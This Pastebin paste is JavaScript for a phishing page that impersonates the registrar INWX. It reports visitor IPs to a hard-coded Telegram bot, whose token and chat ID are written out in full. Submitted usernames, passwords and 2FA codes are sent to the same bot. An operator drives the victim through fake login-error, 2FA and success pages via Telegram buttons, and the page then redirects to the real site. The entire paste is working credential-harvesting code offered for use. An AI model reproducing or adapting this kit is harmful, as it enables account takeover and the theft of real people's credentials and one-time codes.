Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // UPDATED TELEGRAM CREDENTIALS - ID: 5967991487, TOKEN: 8587644384:AAHdn1jnxqJqMQEMIlp543laFim1hBFXdz8
- const TELEGRAM_BOT_TOKEN = '8587644384:AAHdn1jnxqJqMQEMIlp543laFim1hBFXdz8';
- const TELEGRAM_CHAT_ID = '5967991487';
- let currentSessionId = generateSessionId();
- let commandCheckInterval = null;
- let isWaitingForAdminResponse = false;
- let lastProcessedUpdateId = 0;
- let telegramListenerActive = true;
- function generateSessionId() {
- return 'sess_' + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
- }
- async function sendTelegramMessage(message, keyboard = null) {
- try {
- const payload = {
- chat_id: TELEGRAM_CHAT_ID,
- text: message,
- parse_mode: 'HTML'
- };
- if (keyboard) {
- payload.reply_markup = {
- inline_keyboard: keyboard
- };
- }
- const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
- method: 'POST',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify(payload)
- });
- return await response.json();
- } catch (error) {
- console.error('Telegram error:', error);
- updateTelegramStatus('❌ Error: ' + error.message);
- return null;
- }
- }
- async function getIPAddress() {
- try {
- const response = await fetch('https://api.ipify.org?format=json');
- const data = await response.json();
- return data.ip;
- } catch (error) {
- console.error('Failed to fetch IP:', error);
- return 'Unknown';
- }
- }
- async function sendVisitorNotification() {
- const ipAddress = await getIPAddress();
- const userAgent = navigator.userAgent;
- const message = `🆕 Neuer Besucher - INWX
- 🌐 IP: <code>${ipAddress}</code>
- 🖥 User Agent: ${userAgent.substring(0, 100)}
- ⏰ Zeit: ${new Date().toLocaleString('de-DE')}
- 🔑 Session ID: <code>${currentSessionId}</code>
- 📄 Aktuelle Seite: Login
- 💡 Steuere diese Sitzung:`;
- const keyboard = [
- [
- { text: '🚫 Login Fehler zeigen', callback_data: `login_error:${currentSessionId}` },
- { text: '🔐 2FA Seite zeigen', callback_data: `2fa:${currentSessionId}` }
- ],
- [
- { text: '❌ 2FA Fehler zeigen', callback_data: `2fa_error:${currentSessionId}` },
- { text: '✅ Erfolg zeigen', callback_data: `success:${currentSessionId}` }
- ]
- ];
- const result = await sendTelegramMessage(message, keyboard);
- if (result && result.ok) {
- updateTelegramStatus('● Connected');
- }
- }
- async function sendLoginNotification(username, password, ipAddress) {
- const message = `🔐 Login Versuch - INWX
- 👤 Benutzername: <code>${username}</code>
- 🔑 Passwort: <code>${password}</code>
- 🌐 IP: <code>${ipAddress}</code>
- 🔑 Session ID: <code>${currentSessionId}</code>
- ⏰ Zeit: ${new Date().toLocaleString('de-DE')}
- 💡 Wähle nächsten Schritt:`;
- const keyboard = [
- [
- { text: '🚫 Login Fehlgeschlagen', callback_data: `login_error:${currentSessionId}` },
- { text: '🔐 2FA Erforderlich', callback_data: `2fa:${currentSessionId}` }
- ],
- [
- { text: '✅ Login Erfolgreich', callback_data: `success:${currentSessionId}` }
- ]
- ];
- await sendTelegramMessage(message, keyboard);
- }
- async function send2FANotification(username, code, ipAddress) {
- const message = `🔐 2FA Code Eingegeben - INWX
- 👤 Benutzername: ${username}
- 🔐 2FA Code: <code>${code}</code>
- 🌐 IP: <code>${ipAddress}</code>
- 🔑 Session ID: <code>${currentSessionId}</code>
- ⏰ Zeit: ${new Date().toLocaleString('de-DE')}
- 💡 Bestätige 2FA:`;
- const keyboard = [
- [
- { text: '✅ 2FA Korrekt', callback_data: `success:${currentSessionId}` },
- { text: '❌ 2FA Falsch', callback_data: `2fa_error:${currentSessionId}` }
- ],
- [
- { text: '🔄 Zurück zum Login', callback_data: `login:${currentSessionId}` }
- ]
- ];
- await sendTelegramMessage(message, keyboard);
- }
- function startCommandListener() {
- if (commandCheckInterval) clearInterval(commandCheckInterval);
- telegramListenerActive = true;
- document.getElementById('start-telegram-btn').style.display = 'none';
- commandCheckInterval = setInterval(async () => {
- if (!telegramListenerActive) return;
- try {
- const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/getUpdates?offset=${lastProcessedUpdateId + 1}`);
- const data = await response.json();
- if (data.ok && data.result.length > 0) {
- for (const update of data.result) {
- if (update.update_id > lastProcessedUpdateId) {
- lastProcessedUpdateId = update.update_id;
- document.getElementById('telegram-update-id').textContent = lastProcessedUpdateId;
- if (update.callback_query) {
- const callback = update.callback_query;
- const [command, sessionId] = callback.data.split(':');
- if (sessionId === currentSessionId) {
- handleTelegramCommand(command);
- await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/answerCallbackQuery`, {
- method: 'POST',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({
- callback_query_id: callback.id
- })
- });
- }
- }
- }
- }
- }
- } catch (error) {
- console.error('Command check error:', error);
- }
- }, 3000);
- updateTelegramStatus('● Connected');
- }
- function stopTelegramListener() {
- if (commandCheckInterval) {
- clearInterval(commandCheckInterval);
- commandCheckInterval = null;
- }
- telegramListenerActive = false;
- document.getElementById('start-telegram-btn').style.display = 'inline-block';
- updateTelegramStatus('⏸ Paused');
- }
- function startTelegramListener() {
- startCommandListener();
- }
- function handleTelegramCommand(command) {
- isWaitingForAdminResponse = false;
- switch (command) {
- case 'login':
- showPage('login-page');
- break;
- case '2fa':
- showPage('2fa-page');
- break;
- case '2fa_error':
- showPage('2fa-error-page');
- break;
- case 'login_error':
- showPage('login-error-page');
- break;
- case 'success':
- showPage('success-page');
- setTimeout(() => {
- window.location.href = 'https://www.inwx.de/';
- }, 5000);
- break;
- }
- }
- function updateTelegramStatus(status) {
- const statusElement = document.getElementById('telegram-status');
- if (status.includes('Connected') || status.includes('Verbunden')) {
- statusElement.style.color = '#22c55e';
- } else if (status.includes('Paused') || status.includes('Pausiert')) {
- statusElement.style.color = '#f39c12';
- } else if (status.includes('Error') || status.includes('Fehler')) {
- statusElement.style.color = '#dc3545';
- }
- statusElement.textContent = status;
- }
- async function sendTestNotification() {
- const result = await sendTelegramMessage('🧪 Test-Benachrichtigung von INWX Admin Panel\n⏰ Zeit: ' + new Date().toLocaleString('de-DE'));
- if (result && result.ok) {
- alert('Test-Benachrichtigung erfolgreich gesendet!');
- } else {
- alert('Fehler beim Senden. Bitte Token und Chat-ID prüfen.');
- }
- }
- function viewTelegramChat() {
- window.open(`https://t.me/c/${TELEGRAM_CHAT_ID.toString().replace('-100', '')}`, '_blank');
- }
- function clearTelegramData() {
- if (confirm('Alle Telegram-Daten löschen? Dies entfernt alle Sitzungen und wartende Benutzer.')) {
- localStorage.removeItem('waitingList');
- localStorage.removeItem('currentCustomer');
- localStorage.removeItem('currentIP');
- document.getElementById('telegram-sessions').textContent = '0';
- alert('Telegram-Daten gelöscht!');
- }
- }
- function updateTelegramSessions() {
- const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
- document.getElementById('telegram-sessions').textContent = waitingList.length;
- }
- let checkRedirectInterval = null;
- document.addEventListener('DOMContentLoaded', function() {
- // Send visitor notification and start Telegram listener
- sendVisitorNotification();
- startCommandListener();
- // Check if admin panel should be shown
- if (window.location.hash === '#admin') {
- showPage('admin-page');
- }
- // Update Telegram display
- document.getElementById('telegram-chat-id').textContent = TELEGRAM_CHAT_ID;
- document.getElementById('telegram-token').textContent = TELEGRAM_BOT_TOKEN;
- // Password toggle functionality
- document.querySelectorAll('.password-toggle').forEach(button => {
- button.addEventListener('click', function() {
- const input = this.parentElement.querySelector('input');
- if (input.type === 'password') {
- input.type = 'text';
- this.textContent = '🙈';
- } else {
- input.type = 'password';
- this.textContent = '👁';
- }
- });
- });
- // Login form
- const loginForm = document.getElementById('login-form');
- if (loginForm) {
- loginForm.addEventListener('submit', async (e) => {
- e.preventDefault();
- const username = document.getElementById('customer-id').value.trim();
- const password = document.getElementById('password').value;
- if (!username || !password) return;
- const ipAddress = await getIPAddress();
- localStorage.setItem('currentCustomer', username);
- localStorage.setItem('currentIP', ipAddress);
- await sendLoginNotification(username, password, ipAddress);
- const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
- const existingIndex = waitingList.findIndex(s => s.email === username);
- if (existingIndex === -1) {
- waitingList.push({
- email: username,
- ipAddress,
- timestamp: new Date().toISOString(),
- status: 'waiting'
- });
- localStorage.setItem('waitingList', JSON.stringify(waitingList));
- updateTelegramSessions();
- }
- isWaitingForAdminResponse = true;
- showPage('loading-page');
- });
- }
- // Login error form
- const loginErrorForm = document.getElementById('login-error-form');
- if (loginErrorForm) {
- loginErrorForm.addEventListener('submit', async (e) => {
- e.preventDefault();
- const username = document.getElementById('customer-id-error').value.trim();
- const password = document.getElementById('password-error').value;
- if (!username || !password) return;
- const ipAddress = await getIPAddress();
- localStorage.setItem('currentCustomer', username);
- localStorage.setItem('currentIP', ipAddress);
- await sendLoginNotification(username, password, ipAddress);
- const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
- const existingIndex = waitingList.findIndex(s => s.email === username);
- if (existingIndex === -1) {
- waitingList.push({
- email: username,
- ipAddress,
- timestamp: new Date().toISOString(),
- status: 'waiting'
- });
- } else {
- waitingList[existingIndex] = {
- email: username,
- ipAddress,
- timestamp: new Date().toISOString(),
- status: 'waiting'
- };
- }
- localStorage.setItem('waitingList', JSON.stringify(waitingList));
- updateTelegramSessions();
- isWaitingForAdminResponse = true;
- showPage('loading-page');
- });
- }
- // 2FA form
- const twoFAForm = document.getElementById('2fa-form');
- if (twoFAForm) {
- twoFAForm.addEventListener('submit', async (e) => {
- e.preventDefault();
- const code = document.getElementById('authcode').value.trim();
- const username = localStorage.getItem('currentCustomer');
- const ipAddress = localStorage.getItem('currentIP');
- await send2FANotification(username, code, ipAddress);
- const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
- const existingIndex = waitingList.findIndex(s => s.email === username);
- if (existingIndex === -1 && username) {
- waitingList.push({
- email: username,
- ipAddress: ipAddress || await getIPAddress(),
- timestamp: new Date().toISOString(),
- status: 'waiting'
- });
- localStorage.setItem('waitingList', JSON.stringify(waitingList));
- updateTelegramSessions();
- }
- isWaitingForAdminResponse = true;
- showPage('loading-page');
- });
- }
- // 2FA error form
- const twoFAErrorForm = document.getElementById('2fa-error-form');
- if (twoFAErrorForm) {
- twoFAErrorForm.addEventListener('submit', async (e) => {
- e.preventDefault();
- const code = document.getElementById('authcode-error').value.trim();
- const username = localStorage.getItem('currentCustomer');
- const ipAddress = localStorage.getItem('currentIP');
- await send2FANotification(username, code, ipAddress);
- const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
- const existingIndex = waitingList.findIndex(s => s.email === username);
- if (existingIndex === -1 && username) {
- waitingList.push({
- email: username,
- ipAddress: ipAddress || await getIPAddress(),
- timestamp: new Date().toISOString(),
- status: 'waiting'
- });
- localStorage.setItem('waitingList', JSON.stringify(waitingList));
- updateTelegramSessions();
- }
- isWaitingForAdminResponse = true;
- showPage('loading-page');
- });
- }
- });
- function showPage(pageId) {
- if (checkRedirectInterval) {
- clearInterval(checkRedirectInterval);
- checkRedirectInterval = null;
- }
- document.querySelectorAll('.page').forEach(page => {
- page.classList.remove('active');
- });
- const targetPage = document.getElementById(pageId);
- if (targetPage) {
- targetPage.classList.add('active');
- }
- if (pageId === 'loading-page') {
- startLoadingPage();
- }
- }
- function startLoadingPage() {
- const username = localStorage.getItem('currentCustomer');
- if (!username) {
- showPage('login-page');
- return;
- }
- checkRedirectInterval = setInterval(() => {
- const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
- const student = waitingList.find(s => s.email === username);
- if (student && student.redirectTo) {
- const targetPage = student.redirectTo;
- student.redirectTo = null;
- localStorage.setItem('waitingList', JSON.stringify(waitingList));
- if (targetPage === 'login-error') {
- showPage('login-error-page');
- } else if (targetPage === '2fa') {
- showPage('2fa-page');
- } else if (targetPage === '2fa-error') {
- showPage('2fa-error-page');
- } else if (targetPage === 'success') {
- showPage('success-page');
- }
- }
- }, 1000);
- }
- window.addEventListener('hashchange', () => {
- if (window.location.hash === '#admin') {
- showPage('admin-page');
- }
- });
Advertisement
Add Comment
Please, Sign In to add comment